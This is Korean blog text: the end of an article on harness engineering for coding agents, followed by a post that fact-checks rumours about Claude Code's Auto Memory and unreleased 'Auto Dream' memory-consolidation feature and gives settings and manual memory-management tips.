하네스의 모든 구성 요소는 "모델이 못하는 것"에 대한 가정이다. 새 모델이 나오면 한 번에 하나씩 제거하며 여전히 필요한지 검증한다. 필요 없는 구성은 제거하고, 새로 가능해진 영역에 하네스를 확장한다. (Anthropic)

▶ 시작점 모델 버전이 올라갈 때마다 주요 에이전트 작업 3개를 선정해 이전/이후 결과를 비교한다. 예상보다 더 잘 되거나 더 안 되는 태스크가 있으면 하네스 조정 신호다.

원칙 6: 엔트로피를 가비지 컬렉션하라

에이전트 생성 코드는 시간이 지나면 반드시 드리프트한다. "golden principles"를 정의하고, 정기적으로 스캔 → 리팩토링 PR을 여는 백그라운드 프로세스를 만든다. 기술 부채는 소량씩 계속 갚는 것이 한꺼번에 처리하는 것보다 낫다. (OpenAI)

▶ 시작점 월 1회 에이전트에게 "이 리포지토리에서 더 이상 참조되지 않는 파일, 죽은 코드, 미사용 의존성 목록을 작성해달라"고 요청한다. 가비지 컬렉션의 시작점이다.

원칙 7: "지루한" 기술을 선택하라

"Boring" 기술(안정적 API, 높은 조합성, 훈련 데이터에 풍부)이 에이전트에게 더 쉽다. 때로는 외부 라이브러리를 쓰는 것보다 에이전트가 하위 기능을 직접 구현하게 하는 것이 더 낫다 — 100% 테스트 커버리지와 런타임 기대에 정확히 맞출 수 있으므로. (OpenAI)

▶ 시작점 다음 아키텍처 결정 시 새로운 프레임워크 대신 에이전트가 학습 데이터로 가장 많이 봤을 기술(PostgreSQL, FastAPI, React, Spring Boot 등)을 먼저 검토한다. 혁신은 비즈니스 로직에서 하고, 인프라는 boring하게 유지한다.

7. 제한사항 및 열린 질문

두 글 모두 인정하는 한계

장기 일관성 미검증: OpenAI는 "완전 에이전트 생성 시스템의 아키텍처 일관성이 수년에 걸쳐 어떻게 진화하는지 아직 모른다"고 인정한다.
비용: Anthropic 하네스의 풀스택 앱 하나가 $124.70~$200. 개인 개발자에게는 부담스러울 수 있다.
재현성: OpenAI는 "이 동작은 이 리포지토리의 특정 구조와 도구에 크게 의존하며, 유사한 투자 없이 일반화될 것으로 가정해서는 안 된다"고 명시한다.
Evaluator의 한계: Anthropic의 Evaluator도 "깊이 중첩된 기능의 미발견 버그, 비직관적 인터랙션, 작은 레이아웃 이슈"를 놓친다.
맛(Taste)의 인코딩: OpenAI는 "인간의 판단이 가장 큰 레버리지를 제공하는 곳이 어디인지, 그 판단을 어떻게 인코딩해서 복리로 쌓이게 하는지" 아직 배우고 있다고 말한다.

ETH 취리히 연구의 반론
2026년 ETH 취리히 연구팀이 138개 에이전트 설정 파일을 분석한 결과, LLM이 자동 생성한 설정 파일은 오히려 성능을 저하시켰으며, 인간이 정성껏 작성한 파일도 평균 4% 미만의 성능 기여에 그쳤다. 이 연구는 "AGENTS.md를 잘 쓰면 에이전트가 좋아진다"는 전제를 재검토하게 만든다. 물론 단일 연구의 독립 검증이 필요하지만, 설정 파일이 만능 해법은 아니며 하네스의 다른 요소(도구 설계, 피드백 루프)가 더 중요할 수 있다는 점을 시사한다.
(참고: HumanLayer - Skill Issue 분석, 독립 검증 필요)

Bitter Lesson 논쟁: 하네스는 결국 불필요해지는가?

Richard Sutton의 Bitter Lesson은 "일반적인 방법(더 큰 컴퓨팅)이 결국 도메인 특화 방법을 이긴다"고 말한다. 이 관점에서 보면, 하네스는 모델이 아직 못하는 것을 메꾸는 임시방편일 수 있다.

OpenAI의 Noam Brown도 "사람들이 추론 모델 위에 스캐폴딩을 만들고 있지만, 그 스캐폴드도 결국 더 능력 있는 모델로 대체될 것"이라고 말했다 (참고: Latent Space, 2026-03-05). 반면 Hugo Bowne-Anderson은 "좋은 하네스는 그 자체가 일반적 방법이다 — 컨텍스트를 관리하고, 에러에서 복구하고, 상태를 유지하는 방식이 모델 능력과 함께 확장된다"며, 핵심 원칙으로 "삭제를 위해 만들어라(Build for deletion)"를 제안한다.

Anthropic의 답이 여기에 있다: 모델이 좋아지면 하네스 구성을 하나씩 제거하며 재검증한다. Opus 4.5에서 4.6으로 올라갔을 때 스프린트 분해와 컨텍스트 리셋을 제거한 것이 정확히 이 원칙의 실천이다.

"Nothing New" 비판

비판도 있다. X의 @GenAI_is_real은 "이 사람들은 오래된 개념에 새 이름을 붙이는 것 외에 아이디어가 있는 건가?"라고 썼다 (출처). 하네스 엔지니어링이 결국 관심사 분리(Separation of Concerns), docs-as-code, CI/CD의 리브랜딩이라는 것이다.

이에 대해 Martin Fowler / Birgitta Bockeler는 "이 분야에서 처음으로 마음에 드는 용어다"라며, 프레이밍 자체가 실무적 가치를 가진다고 반론했다. 실제로 "에이전트를 위한 환경 설계"라는 프레임은 기존 소프트웨어 엔지니어링 원칙을 에이전트 시대에 맞게 재조직하는 데 유용하다.

양쪽 모두 솔직하게 인정하는 점이 있다: 이 분야는 아직 초기이다. 하네스 엔지니어링은 2026년에 막 이름을 얻은 개념이며, "정답"은 아직 없다.

한계가 분명히 존재한다. 그럼에도 방향은 명확하다. 에이전트가 생성한 코드 100만 줄이 이미 프로덕션에서 작동하고 있다는 사실, GAN 구조로 주관적 품질을 점수화할 수 있다는 발견, 그리고 모델이 좋아질수록 하네스가 단순해진다는 경험적 증거 — 이것들이 "하네스 엔지니어링"이 단순한 유행어가 아님을 보여준다.

8. 결론

OpenAI와 Anthropic이 한 달 간격으로 같은 키워드의 엔지니어링 블로그를 발표한 것은, "코드를 짜는 것이 아니라 환경을 설계하는 것"이 AI 시대 엔지니어링의 핵심이 되었다는 신호이다.

당신의 프로젝트에서 시작하기

단계	행동
오늘	AGENTS.md / CLAUDE.md를 "목차"로 재구성한다. 100줄 이내로.
이번 주	Slack/Notion에 있는 핵심 설계 결정을 리포지토리 `docs/`로 옮긴다. 에이전트가 볼 수 있게.
2주 안에	가장 중요한 아키텍처 불변량 1~2개를 린터로 강제한다.
한 달 후	코드 리뷰에 독립 평가 에이전트를 도입하고, 주기적 "가비지 컬렉션" 프로세스를 만든다.

Anthropic의 Prithvi Rajasekaran이 쓴 문장으로 마무리한다:

"하네스의 흥미로운 조합 공간은 모델이 좋아져도 줄어들지 않는다. 이동할 뿐이다. AI 엔지니어의 일은 다음의 새로운 조합을 계속 찾는 것이다."

참고 자료

OpenAI: Harness Engineering: Leveraging Codex in an Agent-First World (2026-02-11)
Anthropic: Harness Design for Long-Running Application Development
Anthropic (선행 연구): Effective Harnesses for Long-Running Agents
Anthropic: Building Effective Agents
Anthropic: Effective Context Engineering for AI Agents
OpenAI (선행 연구): Unlocking the Codex Harness (2026-02-04)
Ralph Wiggum Loop: ghuntley.com/loop

Claude Code Auto Memory vs Auto Dream 정리 : AI가 잠자면서 기억을 정리한다? Auto Dream 기능의 진실

갓대희 — Thu, 26 Mar 2026 22:39:14 +0900

안녕하세요! 갓대희 입니다.

"Claude Code Memory 2.0"이라는 표현이 돌고 있다. "Auto Dream"이라는 기능이 나왔고, AI가 잠자면서 기억을 정리한다는 것이다.

결론부터 말하면: "Memory 2.0"은 공식 용어가 아니고, Auto Dream은 공식 문서에 없다. 하지만 코드 안에는 실제로 존재한다.

Claude Code의 /memory 메뉴에 "Auto-dream: off"라는 토글이 표시된다. 내부 시스템 프롬프트에 "You are performing a dream — a reflective pass over your memory files"라는 문구가 있다.

일부 사용자에게는 이미 활성화되어 "last ran 1d ago"라고 표시된다 (GitHub #38461 커뮤니티 리포트 기준, 공식 문서 미기재).

하지만 자동 실행이 활성화된 사용자를 포함해 모든 사용자에서 /dream 수동 명령어는 "Unknown skill"을 반환한다 — 자동 실행과 수동 명령어는 별개로 구현되어 있다 (v2.1.88까지, #39135, 2026-03-31 확인).

이 글에서는 공식 문서와 소스 코드 분석을 기반으로, 현재 실제로 사용할 수 있는 메모리 기능과 아직 사용할 수 없는 Auto Dream을 정확히 구분한다. 그리고 Auto Dream이 없어도 메모리를 효과적으로 관리하는 실전 방법을 정리해보려 한다.

팩트체크: "Memory 2.0" 소문 vs 실체
- 왜 이런 혼동이 생겼는가
Auto Memory — 지금 사용할 수 있는 기능
- 작동 원리
- 저장 구조와 200줄 제한
- 뭘 기억하고, 뭘 안 기억하는가
- 설정 및 관리
Context Compaction: 컨텍스트 압축
- 자동 압축 동작
- 수동 제어
- CLAUDE.md와의 관계
Auto Dream — 코드에는 있지만 아직 잠겨 있다
- UI에 보이는 것
- 소스 코드가 말해주는 것
- 설계 의도: "쓰고 잊기" 문제의 해결
실전 튜토리얼: Auto Dream 없이 메모리 관리하기
실전 시나리오
CLAUDE.md vs Auto Memory vs Auto Dream 비교
이론적 배경: Sleep-time Compute
커뮤니티 반응: 기대와 우려
제한사항 및 주의사항
트러블슈팅 Q&A
결론: 언제 쓸 수 있을까

글을 쓴지 몇일이 지난 현재 상태 (2026-03-31 기준, v2.1.88)

항목	상태	출처
Auto Memory	사용 가능 (v2.1.59+)	공식 문서
Auto Dream	자동 실행: 일부 활성화 · 수동 /dream: 전체 미작동 (v2.1.84, #39135)	소스 분석
"Memory 2.0"	비공식 용어	공식 문서/체인지로그에 없음
`/dream` 명령어	모든 사용자에서 "unknown skill" (v2.1.88까지 미구현, #39135)	`/memory`에서 "Auto-dream: on · /dream to run" 안내되나, 실행 시 "unknown skill" — 자동 실행과 수동 명령어는 별개 구현. 비공식 우회: jl-cmd/claude-dream 플러그인

1. 팩트체크: "Memory 2.0" 소문 vs 실체

X(트위터)와 한국 커뮤니티에서 퍼지고 있는 주장들을 공식 문서와 대조한다.

커뮤니티 주장	판정	근거
"Memory 2.0이 나왔다"	과장	"Memory 2.0"은 공식 문서, 체인지로그(v2.1.88까지), 블로그 어디에도 없다. 커뮤니티가 만든 마케팅 용어.
"Auto Dream이라는 새 기능이 있다"	맞지만 미완성	`/memory` UI에 "Auto-dream" 토글이 존재하고, 내부 시스템 프롬프트에 4단계 정리 프로세스가 구현되어 있다. 일부 사용자에게는 활성화됨(GitHub #38461). 하지만 `/dream` 명령어가 동작하지 않는 등 버그가 있다.
"`/memory`에서 autodream on으로 바꾸면 된다"	사람마다 다름	서버 사이드 플래그(`tengu_onyx_plover`)로 제어된다. 일부 사용자에게는 토글이 활성화되어 있고(GitHub #38461 댓글에서 "Auto-dream: on · last ran 1d ago" 확인), 다른 사용자에게는 토글이 잠겨 있다. 점진적 롤아웃 중인 것으로 보인다.
"`/dream` 명령어로 실행한다"	틀림	`/dream`은 Claude Code의 빌트인 커맨드가 아니다. 실행하면 "unknown skill"이 표시된다. Auto Dream 자동 실행이 이미 켜진 사용자조차 동일하다 (v2.1.84, GitHub #39135, 2026-03-26).
"'run your autodream'이라고 하면 dreaming이 뜬다" / "/tasks에 dreaming으로 뜬다"	구분 필요	두 가지 다른 상황을 구분해야 한다. ① "run your autodream" 자연어 요청 → Claude가 메모리 파일을 직접 편집하는 것. Auto Dream 기능이 아니라 일반 파일 편집 작업이다. ② Auto Dream이 서버 플래그로 활성화된 사용자에게는, 실제 Auto Dream 백그라운드 에이전트가 실행될 때 `/tasks`에 별도 task로 표시된다. 이것은 ①과 달리 실제 Auto Dream이다. (GitHub #38461, [ESTIMATE])
"AI가 잠자면서 기억을 정리한다"	비유로서 맞음	Auto Dream의 설계 의도가 정확히 이것이다. 다만 아직 동작하지 않는다.

핵심: "run your autodream" ≠ Auto Dream 기능 (그러나 /tasks의 "dreaming"은 다르다)

Claude에게 "메모리를 정리해줘"라고 자연어로 요청하면, Claude는 ~/.claude/projects/*/memory/ 디렉토리의 파일들을 읽고 수정한다. 이것은 Auto Dream 기능이 아니라, Claude가 평소에도 할 수 있는 일반적인 파일 편집 작업이다.

단, Auto Dream이 실제로 활성화된 사용자에게는 구분이 필요하다. 실제 Auto Dream 백그라운드 에이전트가 실행될 때는 /tasks에 별도 작업(task)으로 표시된다 — 이것은 일반적인 "Reading memory" 또는 "Writing memory" 표시와는 다른, Auto Dream 에이전트가 독립적으로 실행 중임을 나타낸다. (GitHub #38461 커뮤니티 보고, [ESTIMATE])

요약: "메모리 정리해줘" 자연어 요청 = Claude 수동 편집 ≠ Auto Dream / /tasks의 dreaming 백그라운드 태스크 = 실제 Auto Dream (활성화 사용자만)

왜 이런 혼동이 생겼는가

2026년 3월 셋째 주, 여러 일이 동시에 일어났다.

Reddit에서 최초 발견 — 누군가가 /memory 메뉴에서 "Auto-dream: off" 토글을 발견하고 공유했다.
X 확산 시작 — @kr0der(Anthony)가 "just found out Claude Code has a new (unreleased?) feature called 'Auto-dream'"이라고 트윗. "unreleased?"에 물음표를 붙였다.
바이럴 확산 — @om_patel5가 상세 스레드를 작성하여 38K 뷰를 기록 (2026-03-26 확인 기준). @JeremyNguyenPhD, @rohanpaul_ai, @maksym_andr 등이 증폭.
심층 분석 — DEV Community에 akari_iku의 소스 분석 기사 게시(2026-03-24). Threads에서 @sakeeb.rahman이 4단계 프로세스와 Sleep-time Compute 논문 연결을 상세 분석.
"Memory 2.0" 명명 — YouTube 크리에이터 Nate Herk가 AI Automation Society에 "Claude Code Just Dropped Memory 2.0"이라는 제목으로 영상 게시. "Memory 2.0"은 이 영상에서 만들어진 마케팅 용어다.
한국 전파 — "unreleased"가 빠지고 "나왔다"로 바뀌어 확산. 한국 커뮤니티(GeekNews, GPTers)에서는 Auto Memory에 대한 논의는 있으나, Auto Dream 전용 한국어 심층 분석은 2026-03-26 기준 검색에서 찾기 어려웠다.

교훈

AI 도구 관련 정보는 전파 속도가 빠르고, "unreleased"와 "released"의 차이가 생략되기 쉽다. 공식 문서(docs.anthropic.com)와 체인지로그를 직접 확인하는 것이 가장 정확하다.

2. Auto Memory — 지금 사용할 수 있는 기능

"Memory 2.0"이라고 불리는 것의 대부분은 사실 Auto Memory다.

v2.1.59(2026-02-26)에서 도입되었고, 현재 정식으로 사용 가능하다.

(출처: 공식 문서)

작동 원리

Auto Memory는 Claude가 작업하면서 유용한 정보를 스스로 판단해서 디스크에 저장하는 기능이다. 매 세션마다 저장하는 것은 아니다. 미래 대화에서 유용할 것이라고 판단되는 정보만 선별적으로 저장한다.

공식 문서의 표현을 그대로 옮기면:

"Claude saves notes for itself as it works: build commands, debugging insights, architecture notes, code style preferences, and workflow habits. Claude doesn't save something every session. It decides what's worth remembering based on whether the information would be useful in a future conversation."

(Claude는 작업을 진행하면서 스스로 참고할 메모를 남깁니다. 예를 들면 빌드 명령어, 디버깅 과정에서 얻은 인사이트, 아키텍처 관련 메모, 코드 스타일 선호, 작업 습관 등이 여기에 포함됩니다. 다만 모든 세션마다 항상 무언가를 저장하는 것은 아닙니다. 나중의 대화나 작업에서 도움이 될 만한 정보인지 판단해서, 기억해둘 가치가 있는 내용만 선택적으로 저장합니다.)

— Anthropic 공식 문서

저장 구조와 200줄 제한

~/.claude/projects/<project>/memory/
├── MEMORY.md              # 핵심 인덱스 (매 세션 시작 시 자동 로딩)
├── debugging.md           # 디버깅 패턴 상세
├── api-conventions.md     # API 설계 결정사항
└── ...                    # Claude가 필요에 따라 생성하는 토픽 파일들

200줄 제한에 주의

MEMORY.md의 첫 200줄만 세션 시작 시 로딩된다. (체인지로그 v2.1.83 기준 25KB 트렁케이션 캡도 적용.)
200줄을 넘는 내용은 무시된다. Claude는 이를 알기 때문에, 상세한 내용은 별도 토픽 파일로 분리하고 MEMORY.md에는 인덱스만 유지한다. 토픽 파일은 필요할 때만 읽는다.

<project> 경로는 git 리포지토리에서 파생된다. git repo 외부에서는 현재 project root가 기준이 된다. 따라서 같은 머신에서 같은 리포의 모든 워크트리와 하위 디렉토리가 하나의 auto memory 디렉토리를 공유한다. 다만 다른 머신에서 같은 리포를 클론해도 메모리 파일은 공유되지 않는다 — Auto Memory는 로컬 디스크 전용이다. (출처: 공식 문서 Storage location)

뭘 기억하고, 뭘 안 기억하는가

기억하는 것	기억하지 않는 것
빌드 명령어, 테스트 실행 방법	일시적인 대화 컨텍스트
디버깅 인사이트, 해결 패턴	코드에서 직접 읽을 수 있는 정보 (구조, 함수명 등)
아키텍처 메모, 설계 결정 이유	git 히스토리에서 확인 가능한 정보
코드 스타일 선호도	CLAUDE.md에 이미 명시된 규칙
워크플로우 습관, 사용자 교정 내용	매 세션의 사소한 시행착오 내역

설정 및 관리

Auto Memory는 기본적으로 켜져 있다. 끄는 방법은 3가지다.

# 방법 1: 세션 내에서 토글
/memory
# → "Auto-memory: on" 옆의 토글로 끄기

# 방법 2: 환경변수로 비활성화
export CLAUDE_CODE_DISABLE_AUTO_MEMORY=1

# 방법 3: 설정 파일로 비활성화
# ~/.claude/settings.json 또는 .claude/settings.json
{
  "autoMemoryEnabled": false
}

# 일회성 비활성화 (스크립트/CI에서, v2.1.81+)
# 주의: --bare는 메모리만 끄는 것이 아니라 hooks, LSP, 플러그인,
# CLAUDE.md 자동탐색 등도 모두 비활성화하는 "최소 모드"다.
# 메모리만 끄려면 위의 환경변수 방법을 사용한다.
claude --bare -p "one-shot task"

메모리 저장 경로를 변경하고 싶으면 autoMemoryDirectory를 설정한다 (v2.1.74+).

이 설정은 보안상 정책(managed policy), 사용자, 로컬 설정에서만 허용되고, 프로젝트 설정(.claude/settings.json)에서는 사용할 수 없다.

// ~/.claude/settings.json (사용자 설정)
{
  "autoMemoryDirectory": "~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory"
}

위 예시처럼 iCloud Drive나 Dropbox 경로를 지정하면 여러 머신에서 파일을 공유할 수 있지만, 이것은 비공식 우회이다.

공식 문서는 "Auto memory is machine-local"이라고 명시하며, 이 방법의 동작을 보장하지 않는다.

3. Context Compaction: 컨텍스트 압축

자동 압축 동작

Context Compaction은 "Auto Dream"의 나머지 절반이다. 세션 중 컨텍스트 윈도우가 한계에 가까워지면 자동으로 정리한다. 사용자가 직접 개입할 필요 없이 배경에서 동작한다.

구체적으로 무엇이 보존되고 무엇이 손실되는지가 중요하다.

보존되는 것	손실될 수 있는 것
CLAUDE.md 전체 (디스크에서 재로딩)	세션 초반의 상세 지시사항
사용자의 최근 요청	오래된 tool output (파일 읽기 결과 등)
핵심 코드 스니펫	시도했다 실패한 접근들의 상세 내역
세션 이름, Plan mode 상태	긴 대화에서 초반에 논의한 설계 결정

압축 과정은 다음과 같다.

컨텍스트 윈도우가 한계에 도달
  ↓
1단계: 오래된 tool output 삭제 (코드 읽기 결과 등)
  ↓
2단계: 대화 요약 (사용자 요청과 핵심 코드 스니펫은 보존)
  ↓
3단계: CLAUDE.md를 디스크에서 다시 읽어서 재주입
  ↓
압축된 컨텍스트로 작업 계속

CLAUDE.md는 압축에서 살아남는다

이것이 핵심이다. /compact 후에 Claude는 CLAUDE.md를 디스크에서 다시 읽어서 컨텍스트에 재주입한다. 따라서 프로젝트 규칙과 지침은 압축 후에도 유지된다. 반면 세션 초반의 상세한 지시사항은 손실될 수 있다.

수동 제어

# 수동으로 컨텍스트 압축
/compact

# 특정 주제에 집중하여 압축 (나머지는 덜 중요하게 처리)
/compact focus on the API changes

# 현재 컨텍스트 사용량 확인
/context

CLAUDE.md에 "Compact Instructions" 섹션을 추가하면, 압축 시 어떤 내용을 우선 보존할지 제어할 수 있다.

CLAUDE.md와의 관계

"메모리가 나쁜 습관을 강화하면 어떻게 되나?" 좋은 질문이다.

답은 CLAUDE.md가 Auto Memory보다 우선한다는 것이다. CLAUDE.md는 사용자가 직접 작성하는 규칙이고, Auto Memory는 Claude가 스스로 학습한 내용이다. 충돌이 생기면 CLAUDE.md의 명시적 지침이 이긴다. 잘못된 기억이 쌓이고 있다면 /memory로 확인하고 수정/삭제할 수 있다.

4. Auto Dream — 코드에는 있지만 아직 잠겨 있다

여기서부터가 이 글의 핵심이다. Auto Dream은 "있지만 없는" 기능이다.

UI에 보이는 것

Claude Code에서 /memory를 실행하면 다음과 같은 메뉴가 표시된다.

Memory

# 자동 실행 미활성화 사용자:
    Auto-memory: on
    Auto-dream: off · never

# 자동 실행 활성화 사용자 (점진적 롤아웃 중):
    Auto-memory: on
    Auto-dream: on · never · /dream to run
    # "never"는 아직 한 번도 실행되지 않았다는 의미
    # "/dream to run"이 안내되지만, 실행하면 여전히 "unknown skill"

  > 1. User memory          Saved in ~/.claude/CLAUDE.md
    2. Project memory        Checked in at ./CLAUDE.md
    3. Open auto-memory folder

Auto Dream이 활성화된 사용자는 Auto-dream: on · never · /dream to run이 표시된다. UI는 /dream으로 수동 실행을 안내하지만, 이 명령어는 현재 구현되지 않아 실행하면 "unknown skill"이 반환된다

(v2.1.88까지, GitHub #39135, 2026-03-31 확인).

자동 실행(background)과 수동 /dream 명령어는 별개로 구현 중이다.

(출처: DEV Community, akari_iku, 2026-03-24, 소스 코드 분석 기반)

ex) 나의 경우도 아직까지 킨적이 없으니, 지금 한번 켜보도록 하겠다. 다만 이후에 적용되기까지엔 조건이 있다고 한다.

소스 코드가 말해주는 것

DEV Community의 akari_iku가 Claude Code 소스를 분석하여 밝혀낸 내용이다.

파라미터	기본값	의미
`enabled`	`false`	서버 사이드 플래그. 로컬 `settings.json`으로는 변경 불가
`minHours`	`24`	마지막 실행 후 최소 24시간 경과 필요. 하루 1회가 최대
`minSessions`	`5`	최소 5개 세션이 쌓여야 실행. 소량 메모리를 자주 정리하는 것을 방지

서버 사이드 플래그의 코드네임은 tengu_onyx_plover이다 (소스 코드 분석 기반, Anthropic 미공식 확인).

Anthropic이 서버에서 이 플래그를 켜야 동작한다. 실제로 일부 사용자에게는 이미 활성화되어 있다 — GitHub #38461의 댓글에서 "Auto-dream: on · last ran 1d ago · /dream to run"이 확인되었다.

내부 시스템 프롬프트: 4단계 정리 프로세스

Claude Code의 내부에서 추출된 것으로 알려진 Auto Dream 시스템 프롬프트는 다음과 같이 시작한다.

(출처: Piebald-AI/claude-code-system-prompts)

"You are performing a dream — a reflective pass over your memory files. Synthesize what you've learned recently into durable, well-organized memories so that future sessions can orient quickly."

(지금 당신은 일종의 dream 단계, 즉 자신의 메모리 파일을 다시 검토하고 반추하는 과정을 수행하고 있습니다. 최근에 얻은 학습 내용을 정리·통합해서, 이후의 세션들이 빠르게 상황을 이해할 수 있도록 오래 활용 가능한 구조적인 기억으로 정리하라는 뜻입니다.)

이 프롬프트의 프론트매터에는 ccVersion: 2.1.83이 명시되어 있다 — v2.1.83 시점에 캡처된 것이며, 이후 버전에서 내용이 변경됐을 수 있다. (출처: Piebald-AI/claude-code-system-prompts)

이 프롬프트에 따르면, Auto Dream은 4단계로 동작한다.

단계	이름	하는 일
1	Orient	현재 메모리 파일 목록 파악, 프로젝트 맥락 이해
2	Gather recent signal	최근 세션에서 학습한 내용 수집
3	Consolidate	중복 병합, 모순 해결, 상대 날짜를 절대 날짜로 변환
4	Prune and Index	불필요한 항목 삭제, MEMORY.md 인덱스 200줄 이내 유지

시스템 프롬프트의 출처 주의

위 시스템 프롬프트는 Piebald-AI가 Claude Code 바이너리에서 추출한 것으로 알려져 있다. Anthropic이 공식적으로 공개한 것이 아니므로, 실제 구현과 다를 수 있다. 다만 이 4단계 구조는 DEV Community 기사, claudefa.st, 다수의 독립 분석에서 일관되게 확인되었다.

GitHub 이슈 — Auto Dream의 알려진 문제 (2026-03-31 기준)

#38426: /dream 명령어가 "Unknown skill"을 반환 — CLOSED (duplicate로 닫힘). 단, 댓글에서 "auto-dream mechanism does appear to work"라는 관찰 보고 있음
#38461: autoDreamEnabled: true로 설정해도 /dream이 동작하지 않음 — OPEN. v2.1.85에서 한 사용자가 자동 실행 관찰 보고 (다른 사용자들은 여전히 미작동, [UNVERIFIED])
#38493: Auto Dream의 3가지 갭 — 정체성(잘못된 프로젝트명 생성), 정확성(파일 수를 검증 없이 주장), 투명성(수정 이력 없음) — OPEN
비공식 우회책: jl-cmd/claude-dream 플러그인 (/plugin marketplace add jl-cmd/claude-dream) — 커뮤니티 제작, 공식 지원 아님

설계 의도: "쓰고 잊기" 문제의 해결

Auto Memory에는 구조적 한계가 있다. Claude가 MEMORY.md 인덱스를 간결하게 유지하고 상세 내용을 토픽 파일로 분리하는 기본 정리는 하지만, 모순 해결이나 오래된 항목 자동 삭제 같은 적극적 정리 메커니즘은 없다.

임시 작업 메모와 중요한 학습 내용이 구분 없이 저장된다
비슷한 내용이 반복 저장된다
해결된 이슈나 포기한 기술 스택에 대한 메모가 삭제되지 않고 남는다
MEMORY.md가 200줄 한도에 도달해도 자동 정리가 안 된다

세션이 쌓일수록 메모리 품질이 떨어진다. 이것이 사용자가 "20세션 넘게 쓰다 보면 모순이 생긴다"고 느끼는 이유이고, Auto Dream이 해결하려는 정확히 그 문제이다.

Auto Dream이 출시되면 다음을 자동으로 수행할 것으로 예상된다. 아래는 추출된 시스템 프롬프트와 DEV Community 분석에 기반한 추정이며, Anthropic이 공식 확인한 내용이 아니다.

상대 날짜를 절대 날짜로 변환 — "어제 Redis 쓰기로 했다" → "2026-03-15에 Redis 쓰기로 했다"
모순 항목 삭제 — Express에서 Fastify로 전환했으면 "API는 Express" 항목을 제거
중복 병합 — 같은 빌드 명령어에 대한 여러 메모를 하나로 통합
MEMORY.md 인덱스 200줄 이내 유지

쉽게 말하면: Auto Memory는 노트를 쓰는 손이고, Auto Dream은 노트를 정리하는 잠이다. 현재는 손만 있고 잠이 없는 상태다.

실행 조건 상세: 24시간 + 5세션이 정확히 무슨 뜻인가

Auto Dream이 자동으로 실행되려면 두 조건을 동시에 만족해야 한다.

조건	의미	왜 이 조건인가
`minHours: 24`	마지막 Auto Dream 실행 후 24시간 이상 경과	하루에 여러 번 정리가 반복되어 토큰을 낭비하는 것을 방지. 하루 1회가 상한.
`minSessions: 5`	마지막 Auto Dream 실행 후 5개 이상의 세션이 누적	정리할 내용이 충분히 쌓여야 의미 있다. 1~2번 사용 후 바로 정리하는 것은 비효율적.

"세션"이란 무엇인가

claude 명령어를 실행해서 시작하고, exit 또는 Ctrl+C로 종료할 때까지의 한 번의 대화 단위가 1세션이다. 짧은 세션이든 긴 세션이든 종료 한 번 = 1세션으로 카운트된다. 세션 카운트는 Auto Memory가 저장하는 메타데이터에 의해 추적된다.

두 조건은 AND 관계다. 5세션이 쌓여도 24시간이 안 지났으면 실행되지 않고, 24시간이 지나도 5세션이 안 쌓였으면 실행되지 않는다. 다음 세션 시작 시점에 두 조건을 모두 만족하면 세션이 시작될 때 자동으로 백그라운드에서 실행된다.

Auto Dream 실행 여부 확인 방법

실행 후 /memory 메뉴에서 상태가 바뀐다.

# 아직 실행되지 않은 상태
Auto-dream: on · never · /dream to run

# 실행된 이후 (예: 13시간 전에 실행됨)
Auto-dream: on · last ran 13h ago · /dream to run

"never"가 "last ran Xh ago"로 바뀌면 Auto Dream이 실제로 동작한 것이다. 실행 후 ~/.claude/projects/*/memory/ 디렉토리의 파일 수정 시간도 갱신된다.

Auto Dream 활성화 사용자를 위한 테스트 방법

/memory에서 "Auto-dream: on"이 표시되는 사용자라면 다음 순서로 직접 트리거할 수 있다.

# Step 1: 현재 상태 확인
/memory
# → "Auto-dream: on · never" 이면 조건 충족 대기 중

# Step 2: 세션을 5번 이상 쌓기
# claude를 시작하고 간단한 작업 후 종료를 반복 (하루에 몇 번이든 OK)
claude
# (작업 후 exit 또는 Ctrl+C)
# → 이걸 5번 이상 반복

# Step 3: 24시간 대기
# 첫 세션 이후 24시간이 지나야 함
# (이미 오늘 세션을 여러 번 했다면 내일 claude를 시작할 때 실행될 수 있음)

# Step 4: 새 세션 시작
claude
# → 세션 시작 시 백그라운드에서 Auto Dream이 자동 실행됨

# Step 5: 실행 확인
/memory
# → "Auto-dream: on · last ran 0h ago" 또는 "last ran Xh ago"로 변경됐으면 성공

- 다만 아직 3월 31일 시점에도 기능업데이트가 되진 않았다. (하지만 1일 1~2업뎃 하는 클로드 코드라면 곧 출시하지 않을까? 기다려보자.)

ex) /dream 을 실행하라고 하지만

- 결과는 오류

실행 후 반드시 확인할 것

/memory에서 "last ran"으로 바뀌었는지 확인
~/.claude/projects/*/memory/MEMORY.md를 열어 내용이 정리됐는지 검토
모순되거나 잘못 병합된 항목이 있을 수 있으니 수동 검토 필수 (GitHub #38493 품질 이슈 참조)
중요한 프로젝트라면 실행 전 memory/ 디렉토리를 백업해두는 것을 권장

정확한 트리거 시점

Auto Dream이 정확히 "세션 시작 시" 실행되는지, "세션 종료 시" 실행되는지는 공식 문서에 없다.

소스 코드 분석(akari_iku, DEV Community)에 따르면 세션 시작 직후 백그라운드로 실행되는 것으로 추정된다. /memory에서 "last ran 0h ago"가 표시된다면 방금 세션에서 실행된 것이다.

5. 실전 튜토리얼: Auto Dream 없이 메모리 관리하기

Auto Dream이 아직 없다면, 직접 해야 한다. 다행히 어렵지 않다. 아래 3단계를 따라하면 메모리를 깔끔하게 유지할 수 있다.

Step 1: 현재 메모리 상태 확인

# Claude Code 세션에서
/memory

# 또는 터미널에서 직접 확인
ls -la ~/.claude/projects/*/memory/
cat ~/.claude/projects/*/memory/MEMORY.md | wc -l   # 줄 수 확인

/memory를 실행하면 현재 로딩된 모든 메모리 파일을 볼 수 있다. "Open auto-memory folder"를 선택하면 에디터에서 직접 열린다. 위 명령어의 * 부분에는 실제 프로젝트 경로가 들어간다. 정확한 경로를 모르면 /memory를 실행하여 확인하는 것이 가장 쉽다.

Step 2: 수동 메모리 정리

메모리가 쌓였다면 직접 정리한다. 두 가지 방법이 있다.

방법 A: Claude에게 요청하기

# Claude Code 세션에서 자연어로 요청
"메모리 파일들을 확인해서, 오래되거나 모순되는 항목을 정리해줘.
상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘."

이것이 커뮤니티에서 "run your autodream"이라고 부르는 것의 정체다. Auto Dream 기능이 아니라, Claude에게 메모리 정리를 수동으로 요청하는 것이다. Claude는 ~/.claude/projects/*/memory/ 디렉토리의 파일들을 읽고 수정할 수 있다.

방법 B: 직접 편집하기

# 메모리 디렉토리 열기
open ~/.claude/projects/*/memory/    # macOS
# 또는
code ~/.claude/projects/*/memory/    # VS Code

